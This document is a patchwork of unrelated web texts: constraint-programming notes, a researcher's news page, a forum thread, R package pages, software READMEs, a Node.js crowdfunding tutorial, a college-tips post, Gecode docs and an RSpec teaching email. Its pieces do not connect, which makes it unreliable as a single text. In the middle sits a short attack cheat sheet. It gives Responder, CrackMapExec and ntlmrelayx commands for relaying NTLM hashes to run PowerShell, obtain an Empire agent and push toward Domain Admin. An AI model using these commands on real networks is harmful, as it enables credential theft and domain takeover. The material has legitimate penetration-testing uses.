A global constraint is a constraint that captures a relation between a non-fixed number of variables. An example is the constraint alldifferent(x1, . . . , xn), which specifies that the values assigned to the variables x1, . . . , xn must be pairwise distinct. Typically, a global constraint is semantically redundant in the sense that the same relation can be expressed as the conjunction of several simpler constraints. Having short hands for frequently recurring patterns clearly simplifies the programming task. What may be less obvious is that global constraints also facilitate the work of the constraint solver by providing it with a better view of the structure of the problem.
5. Symmetry:
Solution Symmetry - A solution symmetry is a permutation of the set of <variable, value> pairs which preserves the set of solutions.
Problem Symmetry: A problem symmetry is a permutation of the set of <variable, value> pairs which preserves the set of constraints.
6. Redundant constraints:
A redundant constraint is a constraint that can be removed from a system of linear constraints without changing the feasible region.
7. Domain splitting:
This involves splitting a problem into a number of disjoint cases and solve each case separately. The set of all solutions to the initial problem is the union of the solutions to each case.
8. Disjunctive constraints:
Disjunctive constraints are widely used to ensure that the time intervals over which two activities require the same resource do not overlap in time.
9. Constraint based scheduling:
Constraint-based scheduling is an approach for solving real-life scheduling problems by stating constraints over the problem variables. By providing generic constraint satisfaction techniques on one side and specialised constraints on the other side, constraint programming achieves a very good generality and efficiency and thus it becomes very popular in solving real-life combinatorial (optimisation) problems.
10. Symmetry Breaking:
the method of symmetry-breaking constraints can be used to take advantage of symmetries in many constraint satisfaction and optimization problems, by adding constraints that eliminate symmetries and reduce the search space size.
Symmetries increase the size of the search space and therefore, time is wasted in visiting new solutions which are symmetric to the already visited solutions. The solution time can be reduced by adding new constraints, referred as symmetry breaking constraints, such that some of the symmetric solutions are eliminated from the search space while preserving the existence of at least one solution.


Form setting: open - anybody with link
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News
- March 2023: Our recent work on neural image compression ( PQ-MIM) has been accepted at TMLR.
- February 2023: 2 papers accepted at CVPR 2023 ! (OmniMAE and ImageBind).
- February 2023: 1 paper accepted at ICASSP 2023 with Federico Baldassarre and Herve Jegou.
- December 2022: Released PQ-MIM, a novel neural image compression method based on Product-Quantization and Masked Image Modeling.
- June 2022: Released and open-sourced the code for OmniMAE
- December 2021: A new preprint titled "Augmenting Convolutional networks with attention-based aggregation"
- December 2021: A new preprint titled "Are Large-scale Datasets Necessary for Self-Supervised Pre-training?"
- September 2021: XCiT has been accepted at NeurIPS 2021
- July 2021: LeViT has been accepted at ICCV 2021
- June 2021: XCiT has been covered and explained by Yannic Kilcher, check out the video !.
- June 2021: A new preprint for our XCiT model offering a strong and general vision backbone with linear complexity in image-size.
- May 2021: We released the ResMLP paper, investigating the architectures built solely upon MLP blocks, with surprisingly strong performance on ImageNet.
- April 2021: A new preprint for our recent research on efficient vision transformers "LeViT: a Vision Transformer in ConvNet's Clothing for Faster Inference"
- February 2021: Released a preprint of our recent work "Training Vision Transformers for Image Retrieval"
- August 2020: I have joined Facebook AI Research, Paris as an AI Research PhD student!
- November 2019: Our paper "Skip-Clip" won Best Poster Award at the Holistic Video Understanding Workshop, ICCV2019.
- September 2019: Successfully defended my MSc
thesis at University of Guelph.
- July 2019: One conference paper accepted at ICCV2019 (Acceptance rate 25%)
- February 2019: Started a research Internship at Apple Inc. advised by Joshua
M Susskind and
Shuangfei Zhai
- November 2018: One paper accepted at ViGIL workshop (NeurIPS 2018)
- August 2018: Started an internship at Microsoft Research Montreal.
- February 2018: One paper accepted for oral presentation at CRV 2018.
|
Research
I'm interested in vision transformers, self-supervised learning, language-vision pre-training, multi-modal learning, image retrieval,
and image compression.
|
{% for post in site.posts %}
{% for cat in post.categories %}
{% if cat == 'research' %}
|
|
{{post.title}}
{{post.authors}}
{{post.venue}}
{% if post.arxiv %}
arxiv /
{% endif %}
{% if post.video %}
video /
{% endif %}
{% if post.code %}
code /
{% endif %}
{% if post.poster %}
poster /
{% endif %}
{% if post.slides %}
slides /
{% endif %}
{% if post.blog %}
blog /
{% endif %}
{% if post.bibtex %}
bibtex /
{% endif %}
{{ post.excerpt }}
|
{% endif %}
{% endfor %}
{% endfor %}
Invited Talks
- Vector Institute / University of Guelph - Masked Image Modeling for Visual Representation Learning
- Transformers for Vision workshop, CVPR’22 - Are Large-scale Datasets Necessary for Self-Supervised Pre-training?
- Max Planck Institute / Tübingen AI Center - Are Large-scale Datasets Necessary for Self-Supervised Pre-training?
- Computer Vision Group (CVG), University of Bern - Are Large-scale Datasets Necessary for Self-Supervised Pre-training?
- Large Scale Holistic Video Understanding workshop, CVPR’21 - Training Vision Transformers for Image Retrieval
- KTH Royal Institute of Technology - Training Vision Transformers for Image Retrieval
- Microsoft Research Montreal - Sequential Scene Understanding and Generation
- DeepVision workshop, Simon Fraser University - Real-Time End-to-End Action Detection with Two-Stream Networks
- Twenty Billion Neurons - Real-Time End-to-End Action Detection with Two-Stream Networks
|
Reviewing
- ICCV’21, CVPR’22-'23, ECCV’22, NeurIPS’22 SSL workshop, TPAMI (2021-Present).
|
|


Spring is a special time in Door County.
If you look carefully as you hike through the woods and meadows you will see many wild flowers.
Spring is a special time in Door County.
If you look carefully as you hike through the woods and meadows you will see many wild flowers.


Documentation
The Architecture of Polly
Use Polly in clang/clang++
Use Polly in dragonegg
Inside Polly - How to manually use the individual pieces of Polly
A list of the LLVM passes available in Polly
Polly - Memory access optimizations


Page 1 of 1
Installer issues.
Posted:
Tue Aug 26, 2008 11:08 am
by spazmatic
The installer seems to work fine, but when the progress bar finishes I get this error. "There is a problem with this windows installer package. A program required for this install to complete could not be run. Contact your support personnel or package vendor." Any ideas on how to fix this?
edit - Just read the other thread here and it looks like Karl is aware of it. I will leave this thread here though.
Re: Installer issues.
Posted:
Tue Aug 26, 2008 11:19 am
by Karl G.
There might be an issue with Windows permissions. The failure-to-install thing is because this program requires that specific version of Direct3D be installed.
Do the files remain after you quit the installer?
Re: Installer issues.
Posted:
Tue Aug 26, 2008 11:32 am
by spazmatic
Karl G. wrote:There might be an issue with Windows permissions. The failure-to-install thing is because this program requires that specific version of Direct3D be installed.
Do the files remain after you quit the installer?
No not even the folder.
Re: Installer issues.
Posted:
Tue Aug 26, 2008 11:50 am
by Karl G.
Ok. Are you running Vista as well? I'm scouring the web for documentation about how to fix this...
Re: Installer issues.
Posted:
Tue Aug 26, 2008 12:05 pm
by spazmatic
Yes, I am using Vista.
Re: Installer issues.
Posted:
Tue Aug 26, 2008 12:17 pm
by Karl G.
OK so I'll be posting a fix asap.
Re: Installer issues.
Posted:
Tue Aug 26, 2008 12:19 pm
by thadiusofx3
whats weird is im using vista and it worked fine for me
Re: Installer issues.
Posted:
Tue Aug 26, 2008 1:03 pm
by spazmatic
Hmm odd. Karl please pm me the new client if you do manage to fix it. Thanks
Re: Installer issues.
Posted:
Tue Aug 26, 2008 1:03 pm
by thadiusofx3
check the private forum


base
is now included in the classing
namespace with un-modifiable global shortcut.classing
to avoid conflict with similar libraries that may use the same API names.
Consult the Library's Structure page to understand how the libaray is structured now, then visit the API Summery page to see how this change affects the syntax of the libaray.
Object::instanceOf
method to detect instances of classes and interfaces as well. Check the tutorial for this method.Typed and non-typed function overloading with the ability to recognize custom types.
Creating All types of classes : concrete , final concrete and abstract.
Defining components in any of the three access levels : private , protected and public.
Defining abstrcat and final methods.
Defining static components.
Extending any non-final class.
Overriding non-final methods in derived classes.
Accessing the base class constructor and components through the keyword base
.
Creating and implemeting mutiple interfaces.


{% load filter_by_active_language from cms_tags %} {% with page.related_pages|filter_by_active_language as related_pages %} {% if related_pages %}


Move the mouse (above or under) the the middle line and (left or right) to control the paddle.
The project is programmed by Zavins.


Click here to download this week's dataset as a CSV
Click here to download this week's dataset as a Hyper Extract
Data Storytelling
I wanted to look at some basic trends in home prices over the years. One aspect that caught my attention is that while the absolute difference in median prices when comparing states has increase, the relative difference has not. That is, the ratio of the most expensive state (defined by highest median value) to least expensive state (defined by lowest median value) was highest in the earlier years of the data.
Data Viz Approach
Also, I wanted to attempt to leverage some of Tableau's statistical capabilities. So while the viz on the right does not show a trend line, the tooltip contains the slope of the trend line and interprets it accordingly. So that as we select different states, we can see how much the value is increasing per year (even with using inflation adjusted numbers) according to the slope of the trend line. Also, this slope is interpreted for the home ownership rate.
Data Source
This week's dataset comes from the United States Census Bureau's Census of Housing.


PROOF OF CONCEPT
This is intended only as a proof of concept interface for the GSTORE API. It is not meant for live data access. Please visit GSTORE and NM EPSCoR for data access.
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Set up responder.py
Turn off SMB and HTTP in Reponder.conf
This forces responder to use NTLMrelayx instead of its own internal servers
Set up ntlmrelayx.py
Generate targets with CrackMapExec:
cme smb <CIDR> --gen-relay-list targets.txt
Terminal 1:
python Responder.py -I <interface> -r -d -w
-r respond to netbios wredir suffix queries
-d respond to netbios domain suffix queries
-w start rogue WPAD server
Terminal 2:
ntlmrelayx.py -tf targets.txt -c <Powershell Code>
How about an empire agent?
Recap- We're using Responder to poison/spoof/intercept authentication attempts (Net-NTLM hashes) via Multicast/Broadcast protocols.
- However, since we turned off Responder's SMB and HTTP servers and have ntlmrelayx.py running, those authentication attempts get automatically passed to ntlmrelayx.py's SMB and HTTP servers
- ntlmrelayx.py takes over and relays those hashes to our target list. If the relay is successful it will execute our Empire launcher and give us an Empire Agent on the target machine.
Now, combine this with something like DeathStar and you have automated everything from getting a foothold to gaining Domain Admin rights!


| F_1_panel.densityplot {lattice} | R Documentation |
This is the default panel function for densityplot
.
panel.densityplot(x, darg, plot.points = "jitter", ref = FALSE, groups = NULL, weights = NULL, jitter.amount, type, ..., identifier = "density")
x |
data points for which density is to be estimated |
darg |
list of arguments to be passed to the |
plot.points |
logical specifying whether or not the data points should be plotted
along with the estimated density. Alternatively, a character string
specifying how the points should be plotted. Meaningful values are
|
ref |
logical, whether to draw x-axis |
groups |
an optional grouping variable. If present,
|
weights |
numeric vector of weights for the density
calculations. If this is specified, the |
jitter.amount |
when |
type |
|
... |
extra graphical parameters. Note that additional
arguments to |
identifier |
A character string that is prepended to the names of grobs that are created by this panel function. |
Deepayan Sarkar Deepayan.Sarkar@R-project.org


R interface to Python via Jython allowing R to call python code.
| Version: | 0.0-4 |
| Depends: | rJava (≥ 0.8-1), rjson (≥ 0.1.9) |
| Published: | 2012-07-30 |
| Author: | G. Grothendieck and Carlos J. Gil Bellosta (authors of Jython itself are Jim Hugunin, Barry Warsaw, Samuele Pedroni, Brian Zimmer, Frank Wierzbicki and others; Bob Ippolito is the author of the simplejson Python module) |
| Maintainer: | Carlos J. Gil Bellosta <cgb at datanalytics.com> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] (see file LICENSE) |
| URL: | https://r-forge.r-project.org/projects/rjython/ |
| NeedsCompilation: | no |
| SystemRequirements: | Java |
| Materials: | NEWS |
| CRAN checks: | rJython results |
| Reference manual: | rJython.pdf |
| Package source: | rJython_0.0-4.tar.gz |
| Windows binaries: | r-devel: rJython_0.0-4.zip, r-release: rJython_0.0-4.zip, r-oldrel: rJython_0.0-4.zip |
| OS X binaries: | r-release: rJython_0.0-4.tgz, r-oldrel: rJython_0.0-4.tgz |
| Old sources: | rJython archive |
| Reverse depends: | edeR, rSymPy |
Please use the canonical form https://CRAN.R-project.org/package=rJython to link to this page.


TypicalBot
Introduction
TypicalBot is an ironically named multipurpose Discord bot that is far from typical, developed in discord.js.
Table of Contents
Ecosystem
| Project | Description |
|---|---|
| typicalbot-cluster-manager | Inter-process communication manager |
| typicalbot-api | Internal API |
Getting Started
This section provides a quick-start guide.
Prerequisites
- Node.js: Node.js 10.0.0 or newer is required.
- RethinkDB: RethinkDB is required.
- PM2: PM2 is required.
- TypicalBot Cluster Manager: TypicalBot Cluster Manager is required.
Windows Only
- Windows Build Tools: Python 2.7 and VisualStudio is required to compile dependencies.
- OpenSSL: OpenSSL is required for bignum, use version 1.0.X (Do not use version 1.1.X or the Light version).
- GTK+: GTK 2 is required for canvas, use version 2.X.X (Do not use version 3.X.X)
Installation
- Make sure all prerequisites are installed, ie.
npm install
- Fork the TypicalBot repository: https://github.com/typicalbot/typicalbot/fork
- Clone your forked repository, ie.
git clone<EMAIL_ADDRESS>- Start RethinkDB database
- Start TypicalBot Cluster Manager
- Run
npm run build:database
- Run
npm run build:instance
- Profit!
Maintainers
- Bryan Pikaard (@HyperCoder2975)
- Nicholas Sylke (@nsylke)
Contributors
- Braxton (@SirPacker)
- Tyler Richards (@tjrgg)
- Tobias Feld (@TobiasFeld22)
- Gigakek Vermin (@AKSKL)
Show Your Support
If you like what we do, consider supporting us on Patreon or donate to us via PayPal.
License
TypicalBot is an open source software licensed under the Apache 2.0 license.


CustomSlider
This is an implementation of slider plugin. The plugin is capable of executing user defined horizontal sliders such as Simple-Slider, Range-slider, Fixed-Range-Slider and Draggable-range-Slider. It also has tool-tip, label and tick functionalities. This plugin is forked and extended from bootstrap-slider [https://github.com/seiyria/bootstrap-slider authored by Kyle Kemp and Rohit Kalkur].
Basic Setup
Load the plugin CSS and JavaScript into your web page, after loading jQuery.
How to use?
Create an input element:
<input id="ex1" data-slider-id='ex3Slider' type="text" data-slider-min="0" data-slider-max="20" data-slider-step="1" data-slider-value="14"/>
Invoke the plugin constructor:
$('#ex1').customSlider({});
Add custom CSS:
#ex1Slider .slider-selection {
background: #5E94F3;
}
#ex1Slider .slider-handle {
background: #33EE1A;
}
#ex1Slider .slider-track-high {
background-color: #B9D5E0;
}
Resources
<script src="../src/js/custom-slider.js"></script>
<link rel="styleSheet" href="../src/css/custom-slider.css">
Dependency
<script src="../src/lib/jquery.js"></script>
Options
Options can be passed either as a data (data-slider-foo) attribute, or as part of an object in the slider call. The only exception here is the formatter argument - that can not be passed as a data- attribute.
| Options | Type | Description |
|---|---|---|
| id | String |
Id for the custom-slider DOM element |
| min | Number |
The minimum value of slider |
| max | Number |
The maximum value of slider |
| step | Number |
The step value of slider |
| precision | Number |
The precision value of slider |
| value | Number, Array |
The initial value of slider. It can be a number or an array of 2 numbers depending on slider type |
| range | Boolean |
If true, creates a Range-Slider |
| fixed_range | Boolean |
If true, creates a Fixed-Range-Slider. Fixed-Range-Slider is essentially a range slider with its range fixed and can be dragged across the slider track |
| fixed_range_value | Number |
The value of fixed range. Combined with 'value' decides the initial position of the Fixed-Range-Slider |
| draggable_range | Boolean |
If true, creates a Draggable-Range-Slider. Draggable-Range-Slider is essentially a range slider with adjustable range and draggable selected range |
| selection | String |
selection placement. Accepts: 'before', 'after' or 'none'. In case of a range slider, the selection will be placed between the handles |
| tooltip | String |
whether to show the tooltip on drag, hide the tooltip, or always show the tooltip. Accepts: 'show', 'hide', or 'always' |
| tooltip_split | Boolean |
if false shows one tooltip, if true,show two tooltip. |
| reversed | Boolean |
whether or not the slider should be reversed |
| enabled | Boolean |
indicates if the slider is enabled initially or not |
| formatter | function |
formatter callback. Returns the value wanted to be displayed in the tooltip |
| natural_arrow_keys | Boolean |
The default order is used for the arrow keys. By default, the arrow keys are oriented by arrow up/right to the higher slider value and arrow down/left to the lower slider value. |
| ticks | Array |
Used to define the values of ticks. Tick marks are indicators to denote special values in the range. This option overwrites min and max options |
| ticks_positions | Array |
Defines the positions of the tick values in percentages. The first value should always be 0, the last value should always be 100 percent |
| ticks_labels | Array |
Defines the labels below the tick marks. Accepts HTML input |
| ticks_snap_bounds | float |
Used to define the snap bounds of a tick. Snaps to the tick if value is within these bounds |
| focus | Boolean |
Focuses on the appropriate slider handle after a value change |


The tools to get funded by the crowd, should belong to the crowd.
That's why I want to show you how to roll your own crowdfunding site, in less than 300 lines of code. Everything in this tutorial is open source, and we'll only use other open-source technologies, such as Node.js, MongoDB, and Balanced Payments.
Here's the Live Demo. All source code and tutorial text is Unlicensed.
If you just want the final crowdfunding site, clone this repo and go to the /demo
folder.
All you need to do is set your configuration variables, and you're ready to go!

If you haven't already done so, you'll need to install Node.js. (duh)
Create a new folder for your app. We'll be using the Express.js framework to make things a lot more pleasant. To install the Express node module, run this on the command line inside your app's folder:
npm install express
Next, create a file called app.js
, which will be your main server logic.
The following code will initialize a simple Express app,
which just serves a basic homepage and funding page for your crowdfunding site.
// Configuration
var CAMPAIGN_GOAL = 1000; // Your fundraising goal, in dollars
// Initialize an Express app
var express = require('express');
var app = express();
app.use("/static", express.static(__dirname + '/static')); // Serve static files
app.use(express.bodyParser()); // Can parse POST requests
app.listen(1337); // The best port
console.log("App running on http://localhost:1337");
// Serve homepage
app.get("/",function(request,response){
// TODO: Actually get fundraising total
response.send(
"<link rel='stylesheet' type='text/css' href='/static/fancy.css'>"+
"
Your Crowdfunding Campaign
"+
"
raised ??? out of $"+CAMPAIGN_GOAL.toFixed(2)+"
"+
"Fund This"
);
});
// Serve funding page
app.get("/fund",function(request,response){
response.sendfile("fund.html");
});
Create another file named fund.html
. This will be your funding page.
<link rel='stylesheet' type='text/css' href='/static/fancy.css'>

Donation Page:

Optionally, you may also include a stylesheet at /static/fancy.css
,
so that your site doesn't look Hella Nasty for the rest of this tutorial.
@import url(https://fonts.googleapis.com/css?family=Raleway:200);
body {
margin: 100px;
font-family: Raleway; /* Sexy font */
font-weight: 200;
}
Finally, run node app
on the command line to start your server!
Check out your crowdfunding site so far at http://localhost:1337
.
The homepage will display the Campaign Goal you set in the Configuration section of app.js
.
The donations page isn't functional yet, so in the following chapters,
I'll show you how to accept and aggregate credit card payments from your wonderful backers.
Balanced Payments isn't just another payments processor. They've open sourced their whole site, their chat logs are publicly available, and they even discuss their roadmap in the open. These people get openness.
Best of all, you don't even need to sign up to get started with Balanced!
Just go to this link, and they'll generate a brand-new Test Marketplace for you, that you can claim with an account afterwards. Remember to keep this tab open, or save the URL, so you can come back to your Test Marketplace later.
Click the Settings tab in the sidebar, and note your Marketplace URI and API Key Secret.
Copy these variables to the Configuration section of app.js
like this:
// Configuration
var BALANCED_MARKETPLACE_URI = "/v1/marketplaces/TEST-YourMarketplaceURI";
var BALANCED_API_KEY = "YourAPIKey";
var CAMPAIGN_GOAL = 1000; // Your fundraising goal, in dollars
Now, let's switch back to fund.html
to create our actual payment page.
First, we'll include and initialize Balanced.js.
This Javascript library will securely tokenize the user's credit card info, so your server never has to handle the info directly.
Meaning, you will be free from PCI regulations.
Append the following code to fund.html
, replacing BALANCED_MARKETPLACE_URI
with your actual Marketplace URI:

Next, create the form itself, asking for the user's Name, the Amount they want to donate, and other credit card info.
We will also add a hidden input, for the credit card token that Balanced.js will give us.
The form below comes with default values for a test Visa credit card.
Append this to fund.html
:
<form id="payment_form" action="/pay/balanced" method="POST">
Name: <input name="name" value="Pinkie Pie"/>

Amount: <input name="amount" value="12.34"/>

Card Number: <input name="card_number" value="4111 1111 1111 1111"/>

Expiration Month: <input name="expiration_month" value="4"/>

Expiration Year: <input name="expiration_year" value="2050"/>

Security Code: <input name="security_code" value="123"/>

<input type="hidden" name="card_uri"/>
</form>
<button onclick="charge();">
Pay with Credit Card
</button>
Notice the Pay button does not submit the form directly,
but calls a charge()
function instead, which we are going to implement next.
The charge()
function will get the credit card token from Balanced.js,
add it as a hidden input, and submit the form.
Append this to fund.html
:

This form will send a POST request to /pay/balanced
, which we will handle in app.js
.
For now, we just want to display the card token URI.
Paste the following code at the end of app.js
:
// Pay via Balanced
app.post("/pay/balanced",function(request,response){
// Payment Data
var card_uri = request.body.card_uri;
var amount = request.body.amount;
var name = request.body.name;
// Placeholder
response.send("Your card URI is: "+request.body.card_uri);
});
Restart your app, (Ctrl-C to exit, then node app
to start again) and go back to http://localhost:1337
.
Your payment form should now look like this:
The default values for the form will already work, so just go ahead and click Pay With Credit Card.
(Make sure you've replaced BALANCED_MARKETPLACE_URI
in fund.html
with your actual Test Marketplace's URI!)
Your server will happily respond with the generated Card URI Token.
Next up, we will use this token to actually charge the given credit card!
Before we charge right into this, (haha) let's install two more Node.js modules for convenience.
Run the following in the command line:
npm install request
A library for simplified HTTP requests.
npm install q
A Promises library, to pleasantly handle asynchronous calls and avoid Callback Hell.
Because we'll be making multiple calls to Balanced, let's also create a helper method.
The following function returns a Promise that the Balanced API has responded to whatever HTTP Request we just sent it.
Append this code to app.js
:
// Calling the Balanced REST API
var Q = require('q');
var httpRequest = require('request');
function _callBalanced(url,params){
// Promise an HTTP POST Request
var deferred = Q.defer();
httpRequest.post({
url: "https://api.balancedpayments.com"+BALANCED_MARKETPLACE_URI+url,
auth: {
user: BALANCED_API_KEY,
pass: "",
sendImmediately: true
},
json: params
}, function(error,response,body){
// Handle all Bad Requests (Error 4XX) or Internal Server Errors (Error 5XX)
if(body.status_code>=400){
deferred.reject(body.description);
return;
}
// Successful Requests
deferred.resolve(body);
});
return deferred.promise;
}
Now, instead of just showing us the Card Token URI when we submit the donation form, we want to:
Replace the app.post("/pay/balanced", ... );
callback from the previous chapter with this:
// Pay via Balanced
app.post("/pay/balanced",function(request,response){
// Payment Data
var card_uri = request.body.card_uri;
var amount = request.body.amount;
var name = request.body.name;
// TODO: Charge card using Balanced API
/*response.send("Your card URI is: "+request.body.card_uri);*/
Q.fcall(function(){
// Create an account with the Card URI
return _callBalanced("/accounts",{
card_uri: card_uri
});
}).then(function(account){
// Charge said account for the given amount
return _callBalanced("/debits",{
account_uri: account.uri,
amount: Math.round(amount*100) // Convert from dollars to cents, as integer
});
}).then(function(transaction){
// Donation data
var donation = {
name: name,
amount: transaction.amount/100, // Convert back from cents to dollars.
transaction: transaction
};
// TODO: Actually record the transaction in the database
return Q.fcall(function(){
return donation;
});
}).then(function(donation){
// Personalized Thank You Page
response.send(
"<link rel='stylesheet' type='text/css' href='/static/fancy.css'>"+
"
Thank you, "+donation.name+"!

"+
"
You donated $"+donation.amount.toFixed(2)+".

"+
"Return to Campaign Page
"+
"
"+
"Here's your full Donation Info:
"+
"
"+JSON.stringify(donation,null,4)+"
"
);
},function(err){
response.send("Error: "+err);
});
});
Now restart your app, and pay through the Donation Page once again. (Note: To cover processing fees, you have to pay more than $0.50 USD) This time, you'll get a full Payment Complete page, with personalized information!
Furthermore, if you check the transactions tab in your Test Marketplace dashboard, you should find that money has now been added to your balance.
We're getting close! Next, let's record donations in a MongoDB database.
MongoDB is a popular open-source NoSQL database. NoSQL is especially handy for rapid prototyping, because of its dynamic schemas. In other words, you can just make stuff up on the fly. This will be useful if, in the future, you want to record extra details about each donation, such as the donator's email address, reward levels, favorite color, etc.
Start up a MongoDB database, and get its URI. You can use a remote database with a service such as MongoHQ, but for this tutorial, let's run MongoDB locally. Here are the instructions for installing and running MongoDB on your computer.
Once you've done that, add the MongoDB URI to your Configuration section at the top of app.js
.
// Configuration
var MONGO_URI = "mongodb://localhost:27017/test";
var BALANCED_MARKETPLACE_URI = "/v1/marketplaces/TEST-YourMarketplaceURI";
var BALANCED_API_KEY = "YourAPIKey";
var CAMPAIGN_GOAL = 1000; // Your fundraising goal, in dollars
Now, let's install the native MongoDB driver for Node.js:
npm install mongodb
Add the following code to the end of app.js
.
This will return a Promise that we've recorded a donation in MongoDB.
// Recording a Donation
var mongo = require('mongodb').MongoClient;
function _recordDonation(donation){
// Promise saving to database
var deferred = Q.defer();
mongo.connect(MONGO_URI,function(err,db){
if(err){ return deferred.reject(err); }
// Insert donation
db.collection('donations').insert(donation,function(err){
if(err){ return deferred.reject(err); }
// Promise the donation you just saved
deferred.resolve(donation);
// Close database
db.close();
});
});
return deferred.promise;
}
Previously, we skipped over actually recording a donation to a database. Go back, and replace that section of code with this:
// TODO: Actually log the donation with MongoDB
/*return Q.fcall(function(){
return donation;
});*/
// Record donation to database
return _recordDonation(donation);
Restart your app, and make another donation.
If you run db.donations.find()
on your MongoDB instance, you'll find the donation you just logged!
Just one step left...
Finally, we will use these recorded donations to calculate how much money we've raised.
Whether it's showing progress or showing off, you'll want to tell potential backers how much your campaign's already raised.
To get the total amount donated, simply query for all donation amounts from MongoDB, and add them up.
Here's how you do that with MongoDB, with an asynchronous Promise for it.
Append this code to app.js
:
// Get total donation funds
function _getTotalFunds(){
// Promise the result from database
var deferred = Q.defer();
mongo.connect(MONGO_URI,function(err,db){
if(err){ return deferred.reject(err); }
// Get amounts of all donations
db.collection('donations')
.find( {}, {amount:1} ) // Select all, only return "amount" field
.toArray(function(err,donations){
if(err){ return deferred.reject(err); }
// Sum up total amount, and resolve promise.
var total = donations.reduce(function(previousValue,currentValue){
return previousValue + currentValue.amount;
},0);
deferred.resolve(total);
// Close database
db.close();
});
});
return deferred.promise;
}
Now, let's go back to where we were serving a basic homepage. Let's change that, to actually calculate your total funds, and show the world how far along your campaign has gotten.
// Serve homepage
app.get("/",function(request,response){
// TODO: Actually get fundraising total
/*response.send(
"<link rel='stylesheet' type='text/css' href='/static/fancy.css'>"+
"
Your Crowdfunding Campaign
"+
"
raised ??? out of $"+CAMPAIGN_GOAL.toFixed(2)+"
"+
"Fund This"
);*/
Q.fcall(_getTotalFunds).then(function(total){
response.send(
"<link rel='stylesheet' type='text/css' href='/static/fancy.css'>"+
"
Your Crowdfunding Campaign
"+
"
raised $"+total.toFixed(2)+" out of $"+CAMPAIGN_GOAL.toFixed(2)+"
"+
"Fund This"
);
});
});
Restart the app, and look at your final homepage.
It's... beautiful.
You'll see that your total already includes the donations recorded from the previous chapter. Make another payment through the Donations Page, and watch your funding total go up.
Congratulations, you just made your very own crowdfunding site!


Katelyn Eklund
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Copyright © Katelyn Eklund 2017


August 30, 2019
College is a huge step in many people’s lives. I recently started my college at the University of Illinois at Chicago. I was thinking about one word that would describe my first day of college and that one word is overwhelming. I felt as if I was starting a brand new life all over from the beginning, but I have already met so many different people with PhDs, Masters, and extreme talent. I thought about sharing some of my tips for your day 1.
Walk your schedule before college starts. This may seem like a silly thing to do, but trust me, you are going to be lost on campus. Walking around the campus also makes you more confident about your first day and you can feel prepared.
Check your college email. Some professors may email you their syllabus or add you to their portals. If you read their syllabi before classes start, you can get ahead of the game. Sometimes Teaching Assistants (TA’s) email you about discussions and weekly schedules, so do read your emails before the first day of classes.
Check out all the activities and events that your college may have planned for you. There is a lot happening on the campus the first day (usually including the first week and the week before too). You can meet a lot of people during those activities. You can meet many of the organizations from your school, and it will especially help you get more connections in college.
Sleep well the night before Day 1. I know it is really hard to control anxiety levels, but it is very important for you to sleep well. Sleep well and have a great breakfast: it will be a great start to your new journey.
Check the weather and dress accordingly. I started my first day with full of clouds and rain. It was not the best way to start my college because of the weather. So check the weather, wear suitable clothing, and always carry an umbrella with you.
Everyone has a unique story regarding the first day of college. Make your first day really memorable because this place will be your home for the next four years. I wish you all the very best for your new journey.


WCF
Message Exchange Patterns
- Request/Response (default)
- OneWay - [OperationContract(IsOneWay=true)]
- Duplex - [ServiceContract(CallbackContract=typeof(x)] and the client will have a long running session. Not good at interop or scaling. Service implemntations must have [ServiceBehavior(ConcurrencyMode = ConcurrencyMode.Reentrant or Multiple)]
WCF Topics
And...
See also .Net 1 remoting and webservices


Gecode::Int::ViewRanges< ConstIntView > Class Template Reference
[Integer views]
List of all members.Detailed Description
template<>
class Gecode::Int::ViewRanges< ConstIntView >
Range iterator for constant integer views
Definition at line 225 of file constint.icc.
Constructors and initialization | |
| ViewRanges (void) | |
| Default constructor. | |
| ViewRanges (const ConstIntView &x) | |
| Initialize with ranges for view x. | |
| void | init (const ConstIntView &x) |
| Initialize with ranges for view x. | |
Iteration control | |
| bool | operator() (void) const |
| Test whether iterator is still at a range or done. | |
| void | operator++ (void) |
| Move iterator to next range (if possible). | |
Range access | |
| int | min (void) const |
| Return smallest value of range. | |
| int | max (void) const |
| Return largest value of range. | |
| unsigned int | width (void) const |
| Return width of ranges (distance between minimum and maximum). |
Member Function Documentation
|
|
Default constructor.
Definition at line 260 of file constint.icc. |
|
|
Initialize with ranges for view x.
Definition at line 263 of file constint.icc. |
|
|
Initialize with ranges for view x.
|
|
|
Test whether iterator is still at a range or done.
Definition at line 267 of file constint.icc. |
|
|
Move iterator to next range (if possible).
Definition at line 271 of file constint.icc. |
|
|
Return smallest value of range.
Definition at line 276 of file constint.icc. |
|
|
Return largest value of range.
Definition at line 280 of file constint.icc. |
|
|
Return width of ranges (distance between minimum and maximum).
Definition at line 284 of file constint.icc. |
The documentation for this class was generated from the following file:
- gecode/int/view/constint.icc (Revision: 3559)


TDD Using Rspec
A while ago, one of my cohort members asked our teacher Derek what the workflow is in creating RSpec tests. The following is his reply.
Hi Hethe,
Testing is hard, and teaching testing is hard. Thanks for the tips. I wrote a bit of stuff below about how I approach testing. I hope it will help, but let me know if I can explain more and I'll do my best.
I think what you're looking for might be the rspec documentation. Specifically, "matchers." I specifically didn't talk about all of the extra matchers for two reasons:
1. today's challenge involved writing simple tests for controllers, and I believe the eq() matcher to be sufficient, and
2. it can cause option paralysis.
I can see where a "next steps using rspec" list of resources could be useful, though, so take a look here for the "If you want to accomplish THIS, use THAT":
https://relishapp.com/rspec/rspec-expectations/v/3-0/docs/built-in-matchers
2) Rspec testers best practices always test for..... (things)..... And you'd be doing great for a beginner if your tests also tested for these things.
Test these things as often as you can (examples)...
- THING 1: Rspec test example
- THING 2: Rspec test example
- THING 3: Rspec test example
As far as what to test, would it be useful to re-write the challenge to list each step of what to test? I mentioned it in Tuesday's lecture (how we test controllers, why we test the controllers, and what else we could test after that), but it might be worthwhile to reiterate in the challenge itself.
Here's my workflow for knowing what I want to test. I was hoping by test-driving a few controllers during lecture, the pattern of how I do it would emerge. I think knowing what to test easier when you're practicing TDD, so here's an example of my workflow writing a controller test before the route has been implemented.
First I think "What do I want?" Let's say I want a webpage that displays blog articles. Ok, first thing's first. Let's create a page that lets us see all the articles in the system. First I'd like to write a test that, when I'm done, will be a step on the way to what I want (a that blog article webpage). I start with the end result: "I want a blog webpage." Then I think about the first step on the way to that end result: "I want a page that lists all of my articles." That's not too hard to test, because it's a pretty straightforward page.
require 'spec_helper'
describe "articles controller" do
end
I created a simple describe block that's describing the thing I want to test. Then, my personal (but common) convention is to use another describe block for each route action:
require 'spec_helper'
describe "articles controller" do
describe "GET /articles" do
end
end
